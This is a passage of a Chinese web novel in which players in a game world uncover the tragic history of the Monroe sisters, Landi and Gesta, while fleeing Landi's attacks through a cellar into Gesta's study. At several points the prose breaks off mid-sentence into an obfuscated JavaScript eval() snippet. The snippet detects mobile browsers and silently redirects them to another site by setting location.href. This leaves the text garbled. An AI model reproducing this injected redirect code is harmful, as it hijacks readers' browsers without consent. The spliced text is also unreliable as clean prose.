格斯塔缓缓点头,“好,我跟你走。” …… 花园。 祁晚实在想不明白柳州与是怎么做到的,做成的束缚非常好用,好用到一个不可思议的地步,兰迪的始终没能隐去身形。而且存续时间也很长,几乎可以说是固定在了兰迪身上。 这大大方便了她的行动。 五分钟后,她单手锁着兰迪的脖子,把人往地下室入口处拖。 兰迪此人空有个头,战斗力只有5,估计勉强能打过鸡……还不一定。反正一无法隐藏自己就毫无反抗之力,三下五除二就被拿下了。 就是…… 因为被死死勒住了脖子,兰迪动弹不得,一张脸通红,也不知道是憋的还是气的——但看她双拳握的死紧,八成是气的……手里还握着一把黑发。 祁晚头顶秃了一小块,疼得呲牙咧嘴,碎碎念地吐槽的,“你这人,不讲武德。打不过就打过,非要从别人身上薅一把这就不对了。” 她疼得抽气,用另一只手摸了摸头顶,找到秃掉的那一小片。确认了位置后,头发就又长了出来,疼痛也消失了。 她拖着兰迪往地下室入口走着,但兰迪比她矮不了几厘米,而且一直在挣扎,因此拖起来很费劲。 某人一路上嘴没停过。 “我都没薅你头发。何止是没薅头发,我都没下重手,不然你现在都不带能保持意识的。我没认真动手,你倒是那么使劲薅我,真过分啊。” “而且就这点头发,你说你薅了有什么用?又没法造成伤害,除了让我疼没有任何效果。还是说从我身上薅点什么会让你有你能反抗的错觉?” “笑话,这是我队友拼了命给我创造出来的机会,要是抓不住你,我真对不起她——喏,她现在还在那边躺着呢。你绑她一次,现在又弄晕她一次,你真应该给她道个歉。” 兰迪气得脸更红了,又说不出话,试图低头咬她。 于是祁晚再度收紧了手臂,“别挣扎了,你自己看看你那小细胳膊小细腿,能让你跑脱我跟你姓——也别咬了,能让你咬着我也跟你姓。” 有这么一会,祁晚终于走到地下室入口,很艰难地弯腰拉开地下室门,继续叨叨。 “你到底知不知道我们是来干嘛的?” “我们是来帮你的——格斯塔把你忘了,你总不至于把她忘了吧?你死后她怀念了你十五年你知道吗?现在是们就是要让你们见面,你到底有什么理由不见她?你不想她吗?” 不知道这句话触发了什么,兰迪挣扎得更厉害了。 祁晚半个身子已经进了地下室,兰迪无法挣脱,就手脚并用地扒住了地下室入口边缘,一幅死活不肯下去的姿态。 祁晚只得更用力地拖她,“我真该整个绳子给你捆起来……干嘛啊?我都说了是去见格斯塔啊!你也把她忘了吗?” 爱人见面究竟有什么不乐意的啊? 兰迪更用力了,谁也不知道她纤瘦的身躯怎么能爆发出那么大的力量,居然还勉强发出了声音,“我不去……” 祁晚:“到底为什么啊?!” 兰迪不语,只是更用力了,“不!去!” 意识到兰迪可能有想说的,祁晚略微松开了一点手臂,让兰迪能有空余说话,“算了……你说。为什么?” 兰迪深吸了几口气,脸上的红晕略微褪去一点,“你们不是来帮我的吗?” 然后她冷笑:“帮我?” 祁晚懵了,“当然是帮你。” 兰迪:“逼我去做我不愿意的事。你们管这叫帮我?可不可笑?” 祁晚:“……咦?” 说起来,胜利条件设计…… 【亡灵返世,是为找寻她所失去的。】 失去的,什么? 她和秋原一开始想着格斯塔那边失去的是爱人和记忆,以为亡灵应当是格斯塔,后来才发现兰迪……却好像一直忘了思考一下,如果亡灵是兰迪的话,她想要的究竟是什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298325|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这还真是她们的失误。 祁晚眨了眨眼,从地下又上来了。 只是依然没松开兰迪,道:“这个是我们欠考虑了,抱歉……但你是不是也应该跟我们解释一下?” 然后她示意另一边还没醒的柳州与,“她一开始来不就跟你说了是来帮你?但你可完全没跟她交涉,直接把她绑起来扔地下室了。你也有错。” 兰迪不说话,但也不再挣扎了。 “所以你想要是什么?或者我换个问法,你想找回的是什么?”祁晚认为兰迪是理亏才不说话,自信起来,“咱们能交流肯定还是友好交流,你跟我们说就好了嘛!只要你保证别再攻击我们,我也不是什么喜欢动手的人。” 兰迪沉吟片刻,开了口,“好,我说。你松开我。” 祁晚依言松开,“这多好。” 兰迪缓缓起身,整理了一下自己蓬乱的金发,然后又打理起自己乱掉的衣裙。动作慢条斯理,很优雅。 祁晚怕她反悔,始终保持着警惕,也站起身来整理自己的头发。 她也许应该把头发剪掉一些——摸着自己的长发,祁晚突然想:要不然遇上这种不讲武德的实在有点吃亏。 兰迪将自己的仪容打理好,恢复了那副优雅美丽的模样,悠悠然道:“啊……我想找回的东西,吗?” 祁晚点头:“对。” “当然是我的人生和我的自由。”兰迪微笑起来,略微歪头,声音轻而甜,“你可知道我是怎么死的吗?” 不等祁晚追问,兰迪就自己说了下去,“是被我的艺术家杀死的哦。” 说到这里,她的微笑变得冰冷。 “被格斯塔.门罗——亲手。” …… 画室。 一行三人前往书房。 格斯塔在前,秋原雷铭两人在后,画室离书房并不远,三人很快就走到了。 格斯塔将手搭在门把手上。 然而刚碰到门,一阵震耳欲聋的呼喊声就充斥了她的脑海,剧烈的刺痛从指尖传往全身。她痛苦地蹲下身子,捂住了头,“好痛……啊……” 雷铭吓了一跳,第一时间想去扶她,“格斯塔女士?” 秋原也是一惊,“咦?怎么了?” 格斯塔死死捂着太阳穴,整个人都蜷缩起来,脑海里的那个声音一刻不停地疯狂叫嚣。 不能开门!不能出去!不能离开这里!绝对不能! 不能……可是,为什么? 震耳欲聋的噪音中,她艰难思考着。 ……是为什么? 对了,是因为门后藏着她恢复记忆的“钥匙”,所以绝不能打开。 可是,这又是为什么? 这次的思考持续了更长时间。 最终,那个声音道: ——没有为什么,那是她自己决定的。 “有一个声音好吵。”秋原很是疑虑地看着格斯塔,道:“听不清在说什么,感觉不太好,唔……” 游戏boss不知出了什么问题,秋原又发现了新线索,雷铭一时间焦头烂额,“什么声音?我听不见啊?” 格斯塔自己站了起来。 雷铭:“格斯塔女士?” 格斯塔:“我不能打开这扇门,我也不能出去。” 44. 肖像(12) 然后她看向自己的两位客人,平静而满是歉意地道:“抱歉怠慢了你们,但这个要求我不能满足你们——拜托你们想想别的办法。” 秋原拉住她,“为什么啊?刚才是什么在跟你说话?是那个声音告诉你不行吗?” 格斯塔:“你怎么知道有人跟我说话?”那不是她脑海里的声音吗? 秋原:“唔……” 雷铭蹦出来找补,“您刚才无意识地说了几句梦话!您自己可能不记得了……” 格斯塔半信半疑,最后还是信了。 她刚才意识不太清醒,可能是无意识地说了点什么。 于是她道:“好吧。抱歉,我失态了。” “但这扇门无论如何我都不会开,我也不会出去。请你们想想别的办法,拜托了。不过不着急,两位尽力就好,我不强求。” “然后,在那之前,我给秋原小姐安排一下房间吧……” 格斯塔说着,走向楼上,“秋原小姐,请跟我来一下。雷先生也过来看看吗?” …… 祁晚整个人都震惊了。 “你说……什么?”她一脸不可置信,“你说谁?” 她在画廊时仔细观看了所有的画,她虽然不擅长,但也不是什么艺术白痴,作品里表达出的最基本的感情是能感受到的——那样深沉温暖的爱意、爱人死后哀切堆砌的怀念、失忆后还根植潜意识里的坚持……她不相信那些都是假的。 还是兰迪在说谎? 也不对,撒这么容易被拆穿的谎,没必要。 “是真的哦。”兰迪的声音变得冰冷,“你要问,那我就跟你讲——去那边吧,故事很长,咱们坐着说。” 祁晚跟着过去。 期间注意了一下柳州与——这姑娘真的是累过头了,一丝要醒的迹象也没有。 只能之后再给她讲了,祁晚想。 桌椅和紫藤花架变成灰色,已无法靠近,于是兰迪带着祁晚来到喷泉边。兰迪手一挥便出现了新的桌椅和茶具,她沏上新的茶水,推到祁晚面前一杯。滚烫的茶水还冒着热气,散发出清雅的香气。 “那可真是很长的故事。”兰迪端起茶杯嗅着香气一脸享受,“我跟格斯塔么……其实是名义上的姐妹。” 祁晚不懂品茶,兰迪给的东西也不敢喝。于是只是听着,结果……这开头怎么就这么炸裂? 看画她感觉这俩人是恋人来着,爱得太明显了,怎么居然是姐妹……不是,等会?姐妹? 姐妹??? “等下。”她紧急打断兰迪,“姐妹?”格斯塔是女的吗? “啊,是啊。”兰迪对于被打断有些不满,但还是耐心道:“她是我姐姐——只是名义上的。” “故事的开始在1941年。”这次没给祁晚再问的机会,兰迪讲述起来,“是在那年初的冬天,还在下雪的时候,我父母在花园门口捡到了一个弃婴。” “不知道是谁扔在那里的,是个黑发的女婴。我父母都是很善良的人,当然,不然也不会把那个女孩捡回去养。” “那就是我姐姐了——他们给她起名叫格斯塔。” “同月,我妈妈发现她怀孕,已经三个月了。于是六个月后的夏天,我出生了。” “爸妈没有跟姐姐说过她是捡来的,当然跟我也没有。因为我们的出生只差了六个月,时间对不上,他们就骗我们说我们是双胞胎,只是长的不像,天底下也有长的不像的双胞胎。” “小的时候,我们都不懂。我一点也没想过格斯塔为什么长得跟爸爸妈妈一点都不像,也没想过小时候她为什么一直比我高,”茶水的温度降下来一些,于是兰迪抿了一口,继续道:“那个时候,真幸福啊。” “我们想要什么都有,爸妈都会给我们弄来。我喜欢花,他们就种了这篇片花园,每一粒种子都是我们亲手播下去的;我喜欢画像,妈妈就每年都给我们画。我和格斯塔的生日礼物是每一年的新的我们,还有一大堆漂亮的礼物。” “我们姐妹俩什么都没争抢过,因为不管我想要什么姐姐都让给我。我们一起出门玩,她永远都把我护在身后,我们一起长大,同吃同住,我依赖她比依赖妈妈还要深。” “小的时候,连遇上害怕的下雨天,我都不会去找妈妈,而会去找她。” “我以为我们一家四口会一直那么好。” ……所以后来是发生了什么?祁晚还是没敢喝茶,但愈发好奇起来。 “然后……是我们17岁的时候。” 兰迪放下茶杯,杯子的把手赫然已经出现裂痕,被她捏裂的,她道:“那年,我父母去世了,被匪徒抢劫。很惨烈,劫财不够还要害命,他们连全尸都没留下,走得意外也没留下遗嘱……就在那么一个遥远的地方。” “我到现在都不知道他们为什么要去那么远。” “我特别害怕,特别绝望,但格斯塔接过了所有家业,操办了父母的丧事。” “她明明也应该很害怕的,我亲爱的姐姐。可是她告诉我没关系,谁不在了都没关系。她还在,我还有她,她永远不会离开我——我以为那就是全部了,当时。” 肯定没那么简单,祁晚想。 “她可能以为我这辈子都不会知道吧,如果我不知道可能也好。”兰迪垂眸,“可是我知道了。” “后来一次意外,我找到了妈妈的日记。” “格斯塔把那本日记藏在书房隔间里,还撕掉了很多。书房她几乎不让我进,那隔间更是,我还一直很听话……呵,日记里什么都写了。” “爸妈去的那个地方,是格斯塔让他们去的,不知道用了什么理由。妈妈写道她不放心我,但格斯塔信誓旦旦地跟她保证会照顾好我爸爸又觉得这趟他们必须去,所以就去了。结果最后……他们没能回来。” “而且她根本不是我的亲姐姐!也不是什么双胞胎!她是在一个雪天捡回来的!” “难怪她不难过,不是亲生父母当然不难受。” “等我发现一切的时候,格斯塔已经把门罗家的所有产业移到了她名下。她怕被外界发现我才是真正的继承人,从来不让我出门,把我关在花园里。” “发现我已经看到了日记,她就说什么爱我,世上绝不会有人比她更爱我。说她从来没有骗过我,会像父母一样对我,她学了妈妈的画,只要我想,她会像妈妈还在时一样每年都给我画。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她靠的太近,祁晚不由得稍稍往后了一些,解释道:“我们一开始不知道这些,你应该跟我们说的……但还是抱歉,是我们一开始在地下画廊看见了一些东西,先入为主了。我们一开始就应该多考虑你的。” 在思想上先入为主不说,还不由分说地给人揍了一顿,差点给人带去见凶手,祁晚想想都觉得自己和柳州与这波确实过分。 兰迪满意点头,“你们知道就好。” 祁晚:“但……还有一点很奇怪啊?” 兰迪:“嗯?” 祁晚问道:“柳州与——我是说那边躺着的那位。她一开始来的时候根本不知道你姐姐也在,她是真心实意只想帮你的。你把她绑起来干嘛?” 兰迪抿了一口茶,“我说了,我要找回我的人生和我的自由。” “她说她是来帮忙找回‘失去’的东西的,你也是。但我已经靠自己找回了这一切,我已经自由了,不需要你们姗姗来迟的帮忙。” 兰迪居高临下地看着祁晚,眼神冰冷,“所以,你们是来帮谁的呢?” “想必肯定不是我呢。” 45. 肖像(13) 原来是这样。 祁晚想。 可是又出现了新的疑点。 按她们之前的推断,格斯塔失去的是记忆和爱人,或者换句话说是记忆和金丝雀。 如果要找的就是这两样,金丝雀是不太可能回去了,但为什么连记忆都不让找? 感觉现在的兰迪随时会暴走,于是祁晚边朝着柳州与移动边试探着问:“那个,但我们也是有任务要完成的。你不需要帮助的话我们得去找格斯塔。当然,我们不会逼你回她身边,就是得去找她然后帮她恢复一下记忆……这跟你的自由并不冲突吧?” 兰迪身上响起清脆的断裂声。 柳州与拼尽全力制作的银丝终于不堪重负,断开了。 花园瞬间阴云密布,狂风大作。兰迪微笑着,没回答她的问题,只是抬了起手。 漆黑的云层低垂着翻滚涌动,酝酿着电流。 完犊子,兰迪彻底暴走了。 但她到底是哪句话说的不对了?能不能告诉她啊? 一道比较弱的闪电打在脚边,祁晚险险避过,赶忙抄起柳州与就往地下室跑。 万幸兰迪的准头不怎么样——如此想着,她一个鱼跃钻进地下通道并开始狂摇柳州与,“小与!柳州与!醒醒!再不起来咱俩都要被劈死了!!!” 又是一道落雷劈下,地下室入口的木板门整个都被烧糊点燃,直接爆开。祁晚一路朝地下狂奔,恨不得自己能直接飞起来。 她一路横冲直撞进地下室,正想冲进地下画廊就停住了脚步。 她清楚地记得画廊没有其他出口,进去才是真的进了死路。 这个时候要是秋原在也行啊!祁晚急得跳脚,想起秋原把闪电握在手里当武器的画面,心说那小外星人要是从一开始就没走,她们也不至于被兰迪逼成这样。 柳州与还没有要醒的迹象。 “你这个蓝条怎么能恢复这么慢?!”祁晚哀嚎起来,“柳州与咱俩要死了!快醒醒啊!秋原!秋原来一下也行啊!?” …… 别墅内,一楼餐厅。 然而秋原听不见远在地下的诉求,她现在正在餐厅等着,跟雷铭面面相觑。 二楼一共就有三间卧室,现在秋原来了,三个人一人一间,正好。 因为秋原刚才说自己饿了,所以格斯塔去厨房准备食物,两玩家终于有了能单独交流的空间。 本来雷铭还在想,怎么才能让格斯塔抛开礼貌并抛下他们自己去画画或者干点别的什么。结果秋原一句“饿了”,就解决了。 这不是很聪明吗,那之前那些行为怎么回事?这姑娘的脑子怎么有时灵光有时不灵光的…… “刚才……”秋原目送格斯塔的背影离开,压低声音,边比划边说:“我听见有人在跟她说话,不太听得清……” 雷铭真想问问究竟哪里在说话。 虽然及时跳出来找补了,但他真是一点都没听见。 格斯塔能听见,秋原能听见,就他听不见。 这让他有种被排斥在外的感觉……而且真的有点吓人了。 但这里是游戏,发生什么不合理都合理,害怕他也不会表现出来,于是他问道:“是什么样的声音?” 秋原沉思着组织语言,“唔……很吵,应该是说话的声音吧,我听不懂……”然后她想起什么,抬起手,对雷铭道:“你靠过来一点。” 雷铭依言靠近,“干什么?” 秋原将手指抵在他的耳边,“你听一下,你应该可以听懂吧。” 雷铭根本来不及反应,一阵震耳欲聋且异常嘈杂的呼喊声充斥了他的脑海。 就像是有人把他的头盖骨凿开,往里猛灌了一桶泔水,然后各种垃圾污物细菌病毒在他脑子里狂欢开派对……又乱又吵又疼!要了命了! 他痛苦地低下头,试图捂住耳朵,然而声音并不是从外界来的。他还想惨叫,好在忍住了。 随后秋原拿开了手指,很期待地看着他,“就是这个声音,能听懂吗?” 雷铭喘着粗气,过了好半天才双目赤红地抬头。 秋原那双眼睛异常干净,清澈透亮,琉璃一样好看,“我怕你听不清,就稍微把声音放大了一点点——这样可以吗?能听清吗?” 雷铭仰头,闭眼,深吸气,“下次你可以早点问,问完再行动。” 那差点弄死他的恐怖动静放大的是一点吗?一点点?那叫一点点吗? 但秋原也是好意,要是没有她,他根本得不到这个线索,对格斯塔的进度又只能陷入僵局……如此想着,他努力地解析起刚才那个异常嘈杂的声音。 头又疼起来了。 那个声音在说什么…… “……不能?”雷铭默念出声,“声音太乱了,我就听清这一个词。” “不能?是说不能开门吗?唔,所以她不开啊。”秋原面前浮现出一块光屏,光屏上的折线被分成不同的颜色,分成了上下两部分。 “而且这个声音挺耳熟的。虽然很吵,而且是在喊,但能听出来有点耳熟,我应该听过。”雷铭看着秋原的一系列动作,很困惑,“你干什么呢?” 一番复杂的操作后,秋原在光屏上拆解出了两条极为相似的波动,“这些部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311598|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该表达的是音色吧?这两个音色很像哦……” 她对人类的声音不太了解,这些是对着资料找的,不一定对。 雷铭:“什么?” 秋原抬起头,自顾自地道:“你觉得耳熟的话……应该就是对了。那个很吵的声音的音色跟格斯塔本人很像。” 这话那叫一个醍醐灌顶。 雷铭精神一振:“你把那个声音调小一点,我再听一遍。” 他毕竟已经跟格斯塔相处了一段时间,对这位女士的说话方式和发音习惯都有了相当程度的了解。有些东西全靠空耳听不出来——附加已知条件后可就不一定了。 秋原依言照做。 这次雷铭从里面听出了完整的语句。 “不能出去……不能离开……”他皱着眉,边听边复述:“为什么……自己,决定……” 有些语句模糊到完全无法复述,语意也是断断续续,但他能根据自己对格斯塔的了解大致推断出一些内容。 又循环听了几遍后。 “是格斯塔女士自己决定的。”他不可置信地瞪大了眼,道:“她知道门后有能让她恢复记忆的‘钥匙’,甚至应该知道具体是什么东西。但那记忆是她自己藏起来的——她根本不想让自己恢复。” 秋原:“为什么?” 雷铭:“没说原因,但如果是这样的话……恐怕很难赢了。” 在完全无法知道原因的情况下,格斯塔自己拒绝恢复记忆,他们再努力也不会有效果——必须先找出格斯塔封锁自己记忆的原因。 屋里他已经看了个遍,没有任何其余线索了。 那么,如果想要新的线索…… 雷铭想起格斯塔因为玻璃上的红茶而找回一部分记忆的那回,道:“想知道格斯塔女士封锁自己记忆的原因,咱们必须跟外面联系上——线索恐怕在外面。” 秋原:“唔……可是出去的通道只有两个。” 并且格斯塔一个也不给开。 两人陷入沉默,格斯塔端着两份意面和番茄酱从厨房里走了出来,放在他们面前,“抱歉,久等了。” 雷铭:“谢……” 他一声道谢还没落地,身后突然传来巨响。 “砰——哗啦啦啦——” “咔嚓——” 然后是因为隔着门而变得微弱的说话声。 “呜哇好疼!出来了,这是哪啊?” “好多书,哪的书房啊这是?” 突如其来的巨响和如释重负的话语声在众人耳边回荡,三人同时看向声音的来源。 书房里怎么了? 46. 肖像(14) 地下室。 祁晚急得冒烟,将屋子里能搬动的所有物品和柜子全怼到门口,然而门外一直传来近乎恐怖的捶打声,每一声都伴着什么东西断掉的碎裂声——这堆东西撑不了多久。 柳州与被放在一边的废弃躺椅上,在震耳欲聋的捶打声中迷迷瞪瞪地睁开了眼。 视觉很模糊,听觉也是,所有感官都是。于是醒来第一件事,她抬手看了一眼自己的数据环。 精神力才恢复到23%,难怪她还这么无力。 按教材里讲的,精神力降到20%以下会造成后遗症,后遗症的时间长短和程度则视各人体质而定,一般都可以完全恢复;10%以下就比较糟糕,会造成一定程度的永久伤害。至于以及永久伤害的程度,也是视个人体质而定。 还有降到0的情况,这种情况的后果很可怕,人的精神体会彻底崩坏消散,一般没有抢救余地。即使勉强抢救回来,也会留下极为严重的永久后遗症。 但人有自我保护机制,降到0这种情况发生的概率很小,可以忽略不计。 刚才她拼命锁住兰迪,也不知道究竟把精神力消耗到了什么程度。以她的体质,耗到0肯定死球,所以肯定没耗空,但她现在这么虚弱……只能祈祷没有耗到10%以下了。 祁晚从地下画廊取了几幅画进来,因此地下室里有光线,勉强能看清东西。 门外疯狂的捶打声中,她正在忙了着慌地搬柜子。柳州与定睛看她时,她用力扯走了靠墙的柜子,还感叹了一句这个柜子好沉。 柳州与依然虚弱得无法发声,但视力逐渐恢复,她微微偏头看向那面墙。 墙上……有被生生掰断的木头痕迹,这个柜子应当是固定在墙上的。 她震惊地翻了个白眼。 老天奶啊——固定在墙上的柜子,究竟是怎么做到直接掰断的?还是这里的木头都太朽了……就算是那样也太可怕了吧! 不知是不是她的错觉,被掰断的位置微微有些摇晃。 ——但是,墙怎么会晃? 是她太虚弱了吗? 柳州与用力眨了眨眼,努力定睛看过去。 就在那个位置,墙上露出了一条缝隙。巨响之中,整个地下室都在震动,随着震动,那道缝隙越来越大。 柳州与瞪大了眼。 那里还有一扇门啊! 祁晚已经几乎将屋里搬空了,兰迪在地下不敢动用雷电,也不能使用攻击力太强的大风,祁晚估计着她暂时进不来,于是走向柳州与,“应该暂时没事了……柳州与怎么还不醒……” 柳州与实在太虚,眼睛都很难一直完全睁开,只能勉强发出气音,光见嘴动听不见声,“……men……” 祁晚见她醒了,顿时惊喜,“咦?醒了啊!怎么不吱声?”然后她靠近她,耳朵贴近柳州与唇边,“你说什么?” 柳州与:“那边……有门……” 祁晚:“?” 祁晚偏头看去,“啊!真的有!” “不愧是你啊,一醒来就能发现这么重要的东西。”她赞叹着,再次抄起柳州与,“这地下室还真是四通八达的哪都能去,但咱们可不知道这门能去哪……走到哪算哪吧!” 柳州与:“唔……” 祁晚撞开墙壁上的暗门冲进通道,身后传来一阵远比之前还要恐怖的声音,与其说是捶打,倒不如说是爆破声——那堆柜子终究拦不住兰迪。 越过祁晚的肩头,柳州与看见了兰迪的身影。 这女人还是美得那么不可方物,姿态也依然优雅,一点看不出来刚才哐哐砸门的是她。 只是她的速度……是不是也太快了?! 她醒了,精神力回复的速度就更快了,现在也有了些力气,于是她狂拍祁晚肩膀,“你快!再快点!” 祁晚恨不得能直接飞起来,一步能跨出去四个台阶,“已经很快了!” 这条通道比通往花园的那条要短一些,没多久,祁晚就到了出口。 因为太着急,她一脚踹开地下室出口,出口的木板已经有些老化脆弱,被她一脚踹裂了,发出凄惨的断裂声。 “呜哇好疼!”祁晚惨叫,“出来了,这是哪啊?” 就在她冲上地面的一瞬间,身后不疾不徐的脚步声安静下来。 她回头,却只看见兰迪的金发和裙角划过地下通道的拐角——她走了。 见这一幕,祁柳两人同时松了口气。 虽然不知道兰迪为什么不再过来,但不用被追杀总归是好事。刚出虎口,总不至于再进个狼窝吧? 就算进了……进了也没办法了!总不能再回去吧? 两人这才开始环顾自己所在的新环境,地下室入口旁是一张木质的书桌,书桌临窗,另两面墙则全是书柜,映入眼帘的密密麻麻全是书——是一间书房。 柳州与扶着书桌站定,“好多书,哪的书房啊这是?” …… “怎么回事?”雷铭望着书房门,有些发呆,然而只呆了一瞬就要冲过去,“是不是……”祁晚和柳州与她们两个来了? 他的脚步被拦住了。 格斯塔伸手拦住了他。 “已经给你们添很多麻烦了,照顾不周,还总出意外。”格斯塔充满歉意道:“这种意外就不必你们操心了,我去看看就好。” 雷铭试图再说点什么,然而有一股无形的力量将他按在椅子上,他无法起身,也无法说话。 格斯塔神色平静,“您的饭还没有吃完,我这里没有让客人饿肚子的习惯。” 雷铭被那股力量按着低下头,抬起手,卷起一叉子意面。 格斯塔看着他,温和地笑起来,“对,您吃着,我去看看。” 随后格斯塔转身前往书房,那股压着他进食的力量略微弱了一点,他勉力抬起头,想看看秋原怎么样了。 他动弹不得,秋原也许可以…… 秋原满脸番茄酱。 这姑娘不会用刀叉,所以格斯塔很贴心地给她拿了一次性手套,这姑娘现在正跟个阿三似的抓着面条往嘴里塞,但意面很有弹性,不是很好抓,所以她抹了一脸番茄酱。 雷铭:“……” 雷铭:“还吃?!” 秋原:“?” 秋原:“为什么不吃?挺好吃的呢,你也尝尝。” 雷铭恨铁不成钢地示意书房那边,“有人来了啊!你没听见吗?咱们得过去看看!”不知来者何人,怎么能让游戏boss自己过去呢? 秋原咽下嘴里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314266|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面条,“不用去啊,我看见了,是祁晚和柳州与,肯定是看见咱们说的地下室来的。反正知道是她们来了,咱们过去干嘛?” 雷铭心说真是她们两个,然而更无力了,道:“就是因为她们来了咱们才要去……格斯塔女士自己不想恢复记忆,万一她不让她们跟咱们碰面怎么办?” 秋原:“唔……” 好像是这个道理。 于是她站了起来,“那我去看看……但她要是就不开门的话我也没办法……” 雷铭:“她要是不开门,你就抓着她的手开门!” 现在他不怕boss暴走了。且不说格斯塔本来就不太会生气,如果她真的因为这种行为暴走了,到时他们四个人汇合,人多总能有办法。 秋原:“收到!” …… 看柳州与没什么大问题了,祁晚想了想,决定先出门去看看。 也不知道她们顺着地下室钻到哪了……但愿别再遇上比兰迪更可怕的人物…… 她走到门口,顺着门上的小窗,看见书房门口站着一个人。 但只是站着,看姿势没有要开门的意思。 是个黑发黑眸的女人,气质沉静,露出的肩头是深棕色的居家服。眼神也很平静,就那么静静地看着她,没有动作,好像早就知道她会来。 祁晚打了个寒战。 因为之前差点“被掐死”这件事,她对这种毫无感情的眼神有点发怵。 这是谁?看她干嘛? 门上的窗开得很高,她只能看见这女人的脸和肩头,然而很快,窗户下沿出现了一个银色带挑染的发顶。 再然后,那银发的人踮起脚,露出了一张满是鲜血的脸。 祁晚悚然,毫不犹豫地就想转身离开。 秋原怎么把自己搞成这个样子? …… 秋原跑过来,踮起脚来往窗户里看,看见了祁晚和不远处书桌边的柳州与,于是扯了扯格斯塔的衣袖,“你开一下门嘛!她们是我们朋友,可以帮你忙的。” 格斯塔低头看她。 秋原:“我说的就是她们两个。” 格斯塔还是犹豫着没动——她脑海里的那个声音又开始吵嚷了。 秋原眨了眨眼。 刚才雷铭说,格斯塔要是不开门,就让她直接抓着她的手开门——现在是不是可以抓了? 格斯塔没给她动手的机会。 她正要伸手,格斯塔打开了门。 祁晚先是被不认识的黑发女人吓了一跳,然后就看见了满脸血的秋原。二话不说转身就想跑,甚至都已经把行动不便的柳州与扛起来了,结果秋原两句话说完,门开了。 她都不知道她现在该作何反应。 一开门,就有淡淡的罂/粟油味道弥漫到她鼻端,仔细看过去,这黑发女人的袖口和领口也都沾着颜料,指尖有茧——她大概率是个画家。 看到这些,她心里就有了猜测。 然后,“满脸血”的秋原自动来到她们中间,对着格斯塔道:“这个是祁晚,后面那个是柳州与。都很厉害的!” 格斯塔点点头。 然后秋原看向祁晚和一脸懵逼被扛起来的柳州与,“这位就是格斯塔.门罗,那些画的作者哦。” 47. 肖像(15) 可能有些话就是要直说吧,祁晚想,就像秋原一样。 她和柳州与被兰迪追杀,慌不择路逃进地下室,又逃进一间书房,结果直接撞见了的游戏的另一个boss。 见到了“变成光”的秋原。 而秋原脑子里大概只有“有话直说”和“说不出来”两种模式。这次是“有话直说”,她对两方都进行了介绍。 这丫头吃个面给自己整得满脸番茄酱,搞得她们还以为发生了什么不可说的事,吓一大跳。 然后现在,经过一番“有话直说”模式的信息确认,误会解除了。 于是在秋原理所当然的态度下,她们四个玩家外加一个游戏boss,五个人,围坐在桌边,人手一盘意面。 秋原的已经是第二盘了——她觉得这个东西很好吃,但始终学不会用叉子,所以她现在又在用手抓着吃。旧的番茄酱擦掉后,她又蹭了一脸新的。 一般来讲,大多数人都是不同的环境下长大,因此会有不同的口味偏好:吃惯了甜豆脑甜粽子的人会觉得咸豆脑和肉粽不可理喻;吃惯了咸西红柿鸡蛋的人也会觉得甜西红柿鸡蛋简直反人类。 而就不同国界而言:喝惯了茶水的人并不会觉得咖啡香醇,给他最顶级的咖啡他也不会喜欢;吃惯了泡菜的人是真心觉得那就是人间美味,你给他点好的他还不会吃;调味料只有酱油的人也习惯了把这一种调料玩出花,你给他更多种类的调料他也用不明白;而牛油果虽然很难吃,但对吃惯了干巴面包的人,你不给他牛油果反而是要他命了。 对人类来说,这是一种不可逾越的隔阂,也是不同文明存在的证明——人们天生拥有相同的基因,是文明造就了这种口味上的隔阂。 而秋原不一样。 这小外星人初来乍到,初次拥有人类味觉,没受到过任何饮食文化的影响,因此也没有任何口味偏好——她觉得什么都好吃。 第二盘也见底了……啊……格斯塔去给她盛第三盘了…… 好歹是游戏boss给的食物,吃这么多真的没问题吗? 算了,她不是人,不能以常理看她。 祁晚热爱吃辣,无辣不欢,对这种洒番茄酱甜唧唧的东西下不去嘴,再加上总担心这东西有问题,只装作吃了两口就放下了叉子。 雷铭也差不多,但他出于礼貌多吃了一些。 只有柳州与对甜味接受良好,在跟秋原一起吃。因为她说渴了,格斯塔还给她拿来了果汁。 连吃带喝的那叫一个狼吞虎咽,好像饿了她多久似的。 